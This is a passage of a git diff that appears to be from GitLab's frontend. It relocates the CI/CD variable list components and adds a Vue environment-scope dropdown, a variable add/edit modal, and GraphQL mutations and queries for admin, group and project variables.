--- a/app/assets/javascripts/ci_variable_list/ci_variable_list.js
+++ b/app/assets/javascripts/ci/ci_variable_list/ci_variable_list.js
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_admin_variables.vue b/app/assets/javascripts/ci/ci_variable_list/components/ci_admin_variables.vue
index 719696f682e..719696f682e 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_admin_variables.vue
+++ b/app/assets/javascripts/ci/ci_variable_list/components/ci_admin_variables.vue
diff --git a/app/assets/javascripts/ci/ci_variable_list/components/ci_environments_dropdown.vue b/app/assets/javascripts/ci/ci_variable_list/components/ci_environments_dropdown.vue
new file mode 100644
index 00000000000..7387a490177
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/components/ci_environments_dropdown.vue
@@ -0,0 +1,81 @@
+<script>
+import { GlDropdownDivider, GlDropdownItem, GlCollapsibleListbox } from '@gitlab/ui';
+import { __, sprintf } from '~/locale';
+import { convertEnvironmentScope } from '../utils';
+
+export default {
+ name: 'CiEnvironmentsDropdown',
+ components: {
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlCollapsibleListbox,
+ },
+ props: {
+ environments: {
+ type: Array,
+ required: true,
+ },
+ selectedEnvironmentScope: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ selectedEnvironment: '',
+ searchTerm: '',
+ };
+ },
+ computed: {
+ composedCreateButtonLabel() {
+ return sprintf(__('Create wildcard: %{searchTerm}'), { searchTerm: this.searchTerm });
+ },
+ filteredEnvironments() {
+ const lowerCasedSearchTerm = this.searchTerm.toLowerCase();
+
+ return this.environments
+ .filter((environment) => {
+ return environment.toLowerCase().includes(lowerCasedSearchTerm);
+ })
+ .map((environment) => ({
+ value: environment,
+ text: environment,
+ }));
+ },
+ shouldRenderCreateButton() {
+ return this.searchTerm && !this.environments.includes(this.searchTerm);
+ },
+ environmentScopeLabel() {
+ return convertEnvironmentScope(this.selectedEnvironmentScope);
+ },
+ },
+ methods: {
+ selectEnvironment(selected) {
+ this.$emit('select-environment', selected);
+ this.selectedEnvironment = selected;
+ },
+ createEnvironmentScope() {
+ this.$emit('create-environment-scope', this.searchTerm);
+ this.selectEnvironment(this.searchTerm);
+ },
+ },
+};
+</script>
+<template>
+ <gl-collapsible-listbox
+ v-model="selectedEnvironment"
+ searchable
+ :items="filteredEnvironments"
+ :toggle-text="environmentScopeLabel"
+ @search="searchTerm = $event.trim()"
+ @select="selectEnvironment"
+ >
+ <template v-if="shouldRenderCreateButton" #footer>
+ <gl-dropdown-divider />
+ <gl-dropdown-item data-testid="create-wildcard-button" @click="createEnvironmentScope">
+ {{ composedCreateButtonLabel }}
+ </gl-dropdown-item>
+ </template>
+ </gl-collapsible-listbox>
+</template>
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_group_variables.vue b/app/assets/javascripts/ci/ci_variable_list/components/ci_group_variables.vue
index 4466a6a8081..4466a6a8081 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_group_variables.vue
+++ b/app/assets/javascripts/ci/ci_variable_list/components/ci_group_variables.vue
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_project_variables.vue b/app/assets/javascripts/ci/ci_variable_list/components/ci_project_variables.vue
index 6326940148a..6326940148a 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_project_variables.vue
+++ b/app/assets/javascripts/ci/ci_variable_list/components/ci_project_variables.vue
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_autocomplete_tokens.js b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_autocomplete_tokens.js
index 3f25e3df305..3f25e3df305 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_autocomplete_tokens.js
+++ b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_autocomplete_tokens.js
diff --git a/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_modal.vue b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_modal.vue
new file mode 100644
index 00000000000..967125c7b0a
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_modal.vue
@@ -0,0 +1,502 @@
+<script>
+import {
+ GlAlert,
+ GlButton,
+ GlCollapse,
+ GlFormCheckbox,
+ GlFormCombobox,
+ GlFormGroup,
+ GlFormSelect,
+ GlFormInput,
+ GlFormTextarea,
+ GlIcon,
+ GlLink,
+ GlModal,
+ GlSprintf,
+} from '@gitlab/ui';
+import { getCookie, setCookie } from '~/lib/utils/common_utils';
+import { __ } from '~/locale';
+import Tracking from '~/tracking';
+
+import {
+ allEnvironments,
+ AWS_TOKEN_CONSTANTS,
+ ADD_CI_VARIABLE_MODAL_ID,
+ AWS_TIP_DISMISSED_COOKIE_NAME,
+ AWS_TIP_MESSAGE,
+ CONTAINS_VARIABLE_REFERENCE_MESSAGE,
+ defaultVariableState,
+ ENVIRONMENT_SCOPE_LINK_TITLE,
+ EVENT_LABEL,
+ EVENT_ACTION,
+ EXPANDED_VARIABLES_NOTE,
+ EDIT_VARIABLE_ACTION,
+ VARIABLE_ACTIONS,
+ variableOptions,
+} from '../constants';
+import { createJoinedEnvironments } from '../utils';
+import CiEnvironmentsDropdown from './ci_environments_dropdown.vue';
+import { awsTokens, awsTokenList } from './ci_variable_autocomplete_tokens';
+
+const trackingMixin = Tracking.mixin({ label: EVENT_LABEL });
+
+export default {
+ modalId: ADD_CI_VARIABLE_MODAL_ID,
+ tokens: awsTokens,
+ tokenList: awsTokenList,
+ awsTipMessage: AWS_TIP_MESSAGE,
+ containsVariableReferenceMessage: CONTAINS_VARIABLE_REFERENCE_MESSAGE,
+ environmentScopeLinkTitle: ENVIRONMENT_SCOPE_LINK_TITLE,
+ expandedVariablesNote: EXPANDED_VARIABLES_NOTE,
+ components: {
+ CiEnvironmentsDropdown,
+ GlAlert,
+ GlButton,
+ GlCollapse,
+ GlFormCheckbox,
+ GlFormCombobox,
+ GlFormGroup,
+ GlFormSelect,
+ GlFormInput,
+ GlFormTextarea,
+ GlIcon,
+ GlLink,
+ GlModal,
+ GlSprintf,
+ },
+ mixins: [trackingMixin],
+ inject: [
+ 'awsLogoSvgPath',
+ 'awsTipCommandsLink',
+ 'awsTipDeployLink',
+ 'awsTipLearnLink',
+ 'containsVariableReferenceLink',
+ 'environmentScopeLink',
+ 'isProtectedByDefault',
+ 'maskedEnvironmentVariablesLink',
+ 'maskableRegex',
+ 'protectedEnvironmentVariablesLink',
+ ],
+ props: {
+ areScopedVariablesAvailable: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ environments: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ hideEnvironmentScope: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ mode: {
+ type: String,
+ required: true,
+ validator(val) {
+ return VARIABLE_ACTIONS.includes(val);
+ },
+ },
+ selectedVariable: {
+ type: Object,
+ required: false,
+ default: () => {},
+ },
+ variables: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ },
+ data() {
+ return {
+ newEnvironments: [],
+ isTipDismissed: getCookie(AWS_TIP_DISMISSED_COOKIE_NAME) === 'true',
+ validationErrorEventProperty: '',
+ variable: { ...defaultVariableState, ...this.selectedVariable },
+ };
+ },
+ computed: {
+ canMask() {
+ const regex = RegExp(this.maskableRegex);
+ return regex.test(this.variable.value);
+ },
+ canSubmit() {
+ return this.variableValidationState && this.variable.key !== '' && this.variable.value !== '';
+ },
+ containsVariableReference() {
+ const regex = /\$/;
+ return regex.test(this.variable.value) && this.isExpanded;
+ },
+ displayMaskedError() {
+ return !this.canMask && this.variable.masked;
+ },
+ isEditing() {
+ return this.mode === EDIT_VARIABLE_ACTION;
+ },
+ isExpanded() {
+ return !this.variable.raw;
+ },
+ isTipVisible() {
+ return !this.isTipDismissed && AWS_TOKEN_CONSTANTS.includes(this.variable.key);
+ },
+ joinedEnvironments() {
+ return createJoinedEnvironments(this.variables, this.environments, this.newEnvironments);
+ },
+ maskedFeedback() {
+ return this.displayMaskedError ? __('This variable can not be masked.') : '';
+ },
+ maskedState() {
+ if (this.displayMaskedError) {
+ return false;
+ }
+ return true;
+ },
+ modalActionText() {
+ return this.isEditing ? __('Update variable') : __('Add variable');
+ },
+ tokenValidationFeedback() {
+ const tokenSpecificFeedback = this.$options.tokens?.[this.variable.key]?.invalidMessage;
+ if (!this.tokenValidationState && tokenSpecificFeedback) {
+ return tokenSpecificFeedback;
+ }
+ return '';
+ },
+ tokenValidationState() {
+ const validator = this.$options.tokens?.[this.variable.key]?.validation;
+
+ if (validator) {
+ return validator(this.variable.value);
+ }
+
+ return true;
+ },
+ variableValidationFeedback() {
+ return `${this.tokenValidationFeedback} ${this.maskedFeedback}`;
+ },
+ variableValidationState() {
+ return this.variable.value === '' || (this.tokenValidationState && this.maskedState);
+ },
+ },
+ watch: {
+ variable: {
+ handler() {
+ this.trackVariableValidationErrors();
+ },
+ deep: true,
+ },
+ },
+ methods: {
+ addVariable() {
+ this.$emit('add-variable', this.variable);
+ },
+ createEnvironmentScope(env) {
+ this.newEnvironments.push(env);
+ },
+ deleteVariable() {
+ this.$emit('delete-variable', this.variable);
+ },
+ updateVariable() {
+ this.$emit('update-variable', this.variable);
+ },
+ dismissTip() {
+ setCookie(AWS_TIP_DISMISSED_COOKIE_NAME, 'true', { expires: 90 });
+ this.isTipDismissed = true;
+ },
+ deleteVarAndClose() {
+ this.deleteVariable();
+ this.hideModal();
+ },
+ hideModal() {
+ this.$refs.modal.hide();
+ },
+ onShow() {
+ this.setVariableProtectedByDefault();
+ },
+ resetModalHandler() {
+ this.resetVariableData();
+ this.resetValidationErrorEvents();
+
+ this.$emit('hideModal');
+ },
+ resetVariableData() {
+ this.variable = { ...defaultVariableState };
+ },
+ setEnvironmentScope(scope) {
+ this.variable = { ...this.variable, environmentScope: scope };
+ },
+ setVariableRaw(expanded) {
+ this.variable = { ...this.variable, raw: !expanded };
+ },
+ setVariableProtected() {
+ this.variable = { ...this.variable, protected: true };
+ },
+ updateOrAddVariable() {
+ if (this.isEditing) {
+ this.updateVariable();
+ } else {
+ this.addVariable();
+ }
+ this.hideModal();
+ },
+ setVariableProtectedByDefault() {
+ if (this.isProtectedByDefault && !this.isEditing) {
+ this.setVariableProtected();
+ }
+ },
+ trackVariableValidationErrors() {
+ const property = this.getTrackingErrorProperty();
+ if (!this.validationErrorEventProperty && property) {
+ this.track(EVENT_ACTION, { property });
+ this.validationErrorEventProperty = property;
+ }
+ },
+ getTrackingErrorProperty() {
+ let property;
+ if (this.variable.value?.length && !property) {
+ if (this.displayMaskedError && this.maskableRegex?.length) {
+ const supportedChars = this.maskableRegex.replace('^', '').replace(/{(\d,)}\$/, '');
+ const regex = new RegExp(supportedChars, 'g');
+ property = this.variable.value.replace(regex, '');
+ }
+ if (this.containsVariableReference) {
+ property = '$';
+ }
+ }
+
+ return property;
+ },
+ resetValidationErrorEvents() {
+ this.validationErrorEventProperty = '';
+ },
+ },
+ defaultScope: allEnvironments.text,
+ variableOptions,
+};
+</script>
+
+<template>
+ <gl-modal
+ ref="modal"
+ :modal-id="$options.modalId"
+ :title="modalActionText"
+ static
+ lazy
+ @hidden="resetModalHandler"
+ @shown="onShow"
+ >
+ <form>
+ <gl-form-combobox
+ v-model="variable.key"
+ :token-list="$options.tokenList"
+ :label-text="__('Key')"
+ data-testid="pipeline-form-ci-variable-key"
+ data-qa-selector="ci_variable_key_field"
+ />
+
+ <gl-form-group
+ :label="__('Value')"
+ label-for="ci-variable-value"
+ :state="variableValidationState"
+ :invalid-feedback="variableValidationFeedback"
+ >
+ <gl-form-textarea
+ id="ci-variable-value"
+ ref="valueField"
+ v-model="variable.value"
+ :state="variableValidationState"
+ rows="3"
+ max-rows="10"
+ data-testid="pipeline-form-ci-variable-value"
+ data-qa-selector="ci_variable_value_field"
+ class="gl-font-monospace!"
+ spellcheck="false"
+ />
+ <p
+ v-if="variable.raw"
+ class="gl-mt-2 gl-mb-0 text-secondary"
+ data-testid="raw-variable-tip"
+ >
+ {{ __('Variable value will be evaluated as raw string.') }}
+ </p>
+ </gl-form-group>
+
+ <div class="gl-display-flex">
+ <gl-form-group :label="__('Type')" label-for="ci-variable-type" class="gl-w-half gl-mr-5">
+ <gl-form-select
+ id="ci-variable-type"
+ v-model="variable.variableType"
+ :options="$options.variableOptions"
+ />
+ </gl-form-group>
+
+ <template v-if="!hideEnvironmentScope">
+ <gl-form-group
+ label-for="ci-variable-env"
+ class="gl-w-half"
+ data-testid="environment-scope"
+ >
+ <template #label>
+ {{ __('Environment scope') }}
+ <gl-link
+ :title="$options.environmentScopeLinkTitle"
+ :href="environmentScopeLink"
+ target="_blank"
+ data-testid="environment-scope-link"
+ >
+ <gl-icon name="question" :size="12" />
+ </gl-link>
+ </template>
+ <ci-environments-dropdown
+ v-if="areScopedVariablesAvailable"
+ :selected-environment-scope="variable.environmentScope"
+ :environments="joinedEnvironments"
+ @select-environment="setEnvironmentScope"
+ @create-environment-scope="createEnvironmentScope"
+ />
+
+ <gl-form-input v-else :value="$options.defaultScope" class="gl-w-full" readonly />
+ </gl-form-group>
+ </template>
+ </div>
+
+ <gl-form-group :label="__('Flags')" label-for="ci-variable-flags">
+ <gl-form-checkbox
+ v-model="variable.protected"
+ class="gl-mb-0"
+ data-testid="ci-variable-protected-checkbox"
+ :data-is-protected-checked="variable.protected"
+ >
+ {{ __('Protect variable') }}
+ <gl-link target="_blank" :href="protectedEnvironmentVariablesLink">
+ <gl-icon name="question" :size="12" />
+ </gl-link>
+ <p class="gl-mt-2 text-secondary">
+ {{ __('Export variable to pipelines running on protected branches and tags only.') }}
+ </p>
+ </gl-form-checkbox>
+ <gl-form-checkbox
+ ref="masked-ci-variable"
+ v-model="variable.masked"
+ data-testid="ci-variable-masked-checkbox"
+ >
+ {{ __('Mask variable') }}
+ <gl-link target="_blank" :href="maskedEnvironmentVariablesLink">
+ <gl-icon name="question" :size="12" />
+ </gl-link>
+ <p class="gl-mt-2 text-secondary">
+ {{ __('Variable will be masked in job logs.') }}
+ <span
+ :class="{
+ 'bold text-plain': displayMaskedError,
+ }"
+ >
+ {{ __('Requires values to meet regular expression requirements.') }}</span
+ >
+ <gl-link target="_blank" :href="maskedEnvironmentVariablesLink">{{
+ __('More information')
+ }}</gl-link>
+ </p>
+ </gl-form-checkbox>
+ <gl-form-checkbox
+ ref="expanded-ci-variable"
+ :checked="isExpanded"
+ data-testid="ci-variable-expanded-checkbox"
+ @change="setVariableRaw"
+ >
+ {{ __('Expand variable reference') }}
+ <gl-link target="_blank" :href="containsVariableReferenceLink">
+ <gl-icon name="question" :size="12" />
+ </gl-link>
+ <p class="gl-mt-2 gl-mb-0 gl-text-secondary">
+ <gl-sprintf :message="$options.expandedVariablesNote">
+ <template #code="{ content }">
+ <code>{{ content }}</code>
+ </template>
+ </gl-sprintf>
+ </p>
+ </gl-form-checkbox>
+ </gl-form-group>
+ </form>
+ <gl-collapse :visible="isTipVisible">
+ <gl-alert
+ :title="__('Deploying to AWS is easy with GitLab')"
+ variant="tip"
+ data-testid="aws-guidance-tip"
+ @dismiss="dismissTip"
+ >
+ <div class="gl-display-flex gl-flex-direction-row gl-flex-wrap-wrap gl-md-flex-wrap-nowrap">
+ <div>
+ <p>
+ <gl-sprintf :message="$options.awsTipMessage">
+ <template #deployLink="{ content }">
+ <gl-link :href="awsTipDeployLink" target="_blank">{{ content }}</gl-link>
+ </template>
+ <template #commandsLink="{ content }">
+ <gl-link :href="awsTipCommandsLink" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ <p>
+ <gl-button
+ :href="awsTipLearnLink"
+ target="_blank"
+ category="secondary"
+ variant="confirm"
+ class="gl-overflow-wrap-break"
+ >{{ __('Learn more about deploying to AWS') }}</gl-button
+ >
+ </p>
+ </div>
+ <img
+ class="gl-mt-3"
+ :alt="__('Amazon Web Services Logo')"
+ :src="awsLogoSvgPath"
+ height="32"
+ />
+ </div>
+ </gl-alert>
+ </gl-collapse>
+ <gl-alert
+ v-if="containsVariableReference"
+ :title="__('Value might contain a variable reference')"
+ :dismissible="false"
+ variant="warning"
+ data-testid="contains-variable-reference"
+ >
+ <gl-sprintf :message="$options.containsVariableReferenceMessage">
+ <template #code="{ content }">
+ <code>{{ content }}</code>
+ </template>
+ <template #docsLink="{ content }">
+ <gl-link :href="containsVariableReferenceLink" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </gl-alert>
+ <template #modal-footer>
+ <gl-button @click="hideModal">{{ __('Cancel') }}</gl-button>
+ <gl-button
+ v-if="isEditing"
+ ref="deleteCiVariable"
+ variant="danger"
+ category="secondary"
+ data-qa-selector="ci_variable_delete_button"
+ @click="deleteVarAndClose"
+ >{{ __('Delete variable') }}</gl-button
+ >
+ <gl-button
+ ref="updateOrAddVariable"
+ :disabled="!canSubmit"
+ variant="confirm"
+ category="primary"
+ data-testid="ciUpdateOrAddVariableBtn"
+ data-qa-selector="ci_variable_save_button"
+ @click="updateOrAddVariable"
+ >{{ modalActionText }}
+ </gl-button>
+ </template>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_settings.vue b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_settings.vue
index 3c6114b38ce..3c6114b38ce 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_settings.vue
+++ b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_settings.vue
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_shared.vue b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_shared.vue
index 6e39bda0b07..6e39bda0b07 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_shared.vue
+++ b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_shared.vue
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_table.vue
index 345a8def49d..345a8def49d 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
+++ b/app/assets/javascripts/ci/ci_variable_list/components/ci_variable_table.vue
diff --git a/app/assets/javascripts/ci_variable_list/constants.js b/app/assets/javascripts/ci/ci_variable_list/constants.js
index 828d0724d93..828d0724d93 100644
--- a/app/assets/javascripts/ci_variable_list/constants.js
+++ b/app/assets/javascripts/ci/ci_variable_list/constants.js
diff --git a/app/assets/javascripts/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql
index a28ca4eebc9..a28ca4eebc9 100644
--- a/app/assets/javascripts/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql
new file mode 100644
index 00000000000..d6f3ddf086f
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql
@@ -0,0 +1,16 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+
+mutation addAdminVariable($variable: CiVariable!, $endpoint: String!) {
+ ciVariableMutation: addAdminVariable(variable: $variable, endpoint: $endpoint) @client {
+ ciVariables {
+ nodes {
+ ...BaseCiVariable
+ ... on CiInstanceVariable {
+ protected
+ masked
+ }
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql
new file mode 100644
index 00000000000..c00c8fb2a26
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql
@@ -0,0 +1,16 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+
+mutation deleteAdminVariable($variable: CiVariable!, $endpoint: String!) {
+ ciVariableMutation: deleteAdminVariable(variable: $variable, endpoint: $endpoint) @client {
+ ciVariables {
+ nodes {
+ ...BaseCiVariable
+ ... on CiInstanceVariable {
+ protected
+ masked
+ }
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql
new file mode 100644
index 00000000000..d7b7cb77291
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql
@@ -0,0 +1,16 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+
+mutation updateAdminVariable($variable: CiVariable!, $endpoint: String!) {
+ ciVariableMutation: updateAdminVariable(variable: $variable, endpoint: $endpoint) @client {
+ ciVariables {
+ nodes {
+ ...BaseCiVariable
+ ... on CiInstanceVariable {
+ protected
+ masked
+ }
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/client/add_project_environment.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/client/add_project_environment.mutation.graphql
index 45109762e80..45109762e80 100644
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/client/add_project_environment.mutation.graphql
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/client/add_project_environment.mutation.graphql
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql
new file mode 100644
index 00000000000..0dbb6c891fd
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql
@@ -0,0 +1,26 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+
+mutation addGroupVariable($variable: CiVariable!, $endpoint: String!, $fullPath: ID!, $id: ID!) {
+ ciVariableMutation: addGroupVariable(
+ variable: $variable
+ endpoint: $endpoint
+ fullPath: $fullPath
+ id: $id
+ ) @client {
+ group {
+ id
+ ciVariables {
+ nodes {
+ ...BaseCiVariable
+ ... on CiGroupVariable {
+ environmentScope
+ masked
+ protected
+ raw
+ }
+ }
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql
new file mode 100644
index 00000000000..b5d007237c8
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql
@@ -0,0 +1,26 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+
+mutation deleteGroupVariable($variable: CiVariable!, $endpoint: String!, $fullPath: ID!, $id: ID!) {
+ ciVariableMutation: deleteGroupVariable(
+ variable: $variable
+ endpoint: $endpoint
+ fullPath: $fullPath
+ id: $id
+ ) @client {
+ group {
+ id
+ ciVariables {
+ nodes {
+ ...BaseCiVariable
+ ... on CiGroupVariable {
+ environmentScope
+ masked
+ protected
+ raw
+ }
+ }
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql
new file mode 100644
index 00000000000..4ffc091b490
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql
@@ -0,0 +1,26 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+
+mutation updateGroupVariable($variable: CiVariable!, $endpoint: String!, $fullPath: ID!, $id: ID!) {
+ ciVariableMutation: updateGroupVariable(
+ variable: $variable
+ endpoint: $endpoint
+ fullPath: $fullPath
+ id: $id
+ ) @client {
+ group {
+ id
+ ciVariables {
+ nodes {
+ ...BaseCiVariable
+ ... on CiGroupVariable {
+ environmentScope
+ masked
+ protected
+ raw
+ }
+ }
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql
new file mode 100644
index 00000000000..67a02be3dc1
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql
@@ -0,0 +1,26 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+
+mutation addProjectVariable($variable: CiVariable!, $endpoint: String!, $fullPath: ID!, $id: ID!) {
+ ciVariableMutation: addProjectVariable(
+ variable: $variable
+ endpoint: $endpoint
+ fullPath: $fullPath
+ id: $id
+ ) @client {
+ project {
+ id
+ ciVariables {
+ nodes {
+ ...BaseCiVariable
+ ... on CiProjectVariable {
+ environmentScope
+ masked
+ protected
+ raw
+ }
+ }
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql
new file mode 100644
index 00000000000..4420404a7b4
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql
@@ -0,0 +1,31 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+
+mutation deleteProjectVariable(
+ $variable: CiVariable!
+ $endpoint: String!
+ $fullPath: ID!
+ $id: ID!
+) {
+ ciVariableMutation: deleteProjectVariable(
+ variable: $variable
+ endpoint: $endpoint
+ fullPath: $fullPath
+ id: $id
+ ) @client {
+ project {
+ id
+ ciVariables {
+ nodes {
+ ...BaseCiVariable
+ ... on CiProjectVariable {
+ environmentScope
+ masked
+ protected
+ raw
+ }
+ }
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql
new file mode 100644
index 00000000000..107746a19e9
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql
@@ -0,0 +1,31 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+
+mutation updateProjectVariable(
+ $variable: CiVariable!
+ $endpoint: String!
+ $fullPath: ID!
+ $id: ID!
+) {
+ ciVariableMutation: updateProjectVariable(
+ variable: $variable
+ endpoint: $endpoint
+ fullPath: $fullPath
+ id: $id
+ ) @client {
+ project {
+ id
+ ciVariables {
+ nodes {
+ ...BaseCiVariable
+ ... on CiProjectVariable {
+ environmentScope
+ masked
+ protected
+ raw
+ }
+ }
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/queries/group_variables.query.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/queries/group_variables.query.graphql
new file mode 100644
index 00000000000..538502fdd3b
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/queries/group_variables.query.graphql
@@ -0,0 +1,23 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+#import "~/graphql_shared/fragments/page_info.fragment.graphql"
+
+query getGroupVariables($after: String, $first: Int = 100, $fullPath: ID!) {
+ group(fullPath: $fullPath) {
+ id
+ ciVariables(after: $after, first: $first) {
+ limit
+ pageInfo {
+ ...PageInfo
+ }
+ nodes {
+ ...BaseCiVariable
+ ... on CiGroupVariable {
+ environmentScope
+ masked
+ protected
+ raw
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/queries/project_environments.query.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/queries/project_environments.query.graphql
index 921e0ca25b9..921e0ca25b9 100644
--- a/app/assets/javascripts/ci_variable_list/graphql/queries/project_environments.query.graphql
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/queries/project_environments.query.graphql
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/queries/project_variables.query.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/queries/project_variables.query.graphql
new file mode 100644
index 00000000000..af0cd2d0b2c
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/queries/project_variables.query.graphql
@@ -0,0 +1,21 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+#import "~/graphql_shared/fragments/page_info.fragment.graphql"
+
+query getProjectVariables($after: String, $first: Int = 100, $fullPath: ID!) {
+ project(fullPath: $fullPath) {
+ id
+ ciVariables(after: $after, first: $first) {
+ limit
+ pageInfo {
+ ...PageInfo
+ }
+ nodes {
+ ...BaseCiVariable
+ environmentScope
+ masked
+ protected
+ raw
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/ci/ci_variable_list/graphql/queries/variables.query.graphql b/app/assets/javascripts/ci/ci_variable_list/graphql/queries/variables.query.graphql
new file mode 100644
index 00000000000..b8dd6f5f562
--- /dev/null
+++ b/app/assets/javascripts/ci/ci_variable_list/graphql/queries/variables.query.graphql
@@ -0,0 +1,18 @@
+#import "~/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
+#import "~/graphql_shared/fragments/page_info.fragment.graphql"
+
+query getVariables($after: String, $first: Int = 100) {
+ ciVariables(after: $after, first: $first) {
+ pageInfo {
+ ...PageInfo
+ }
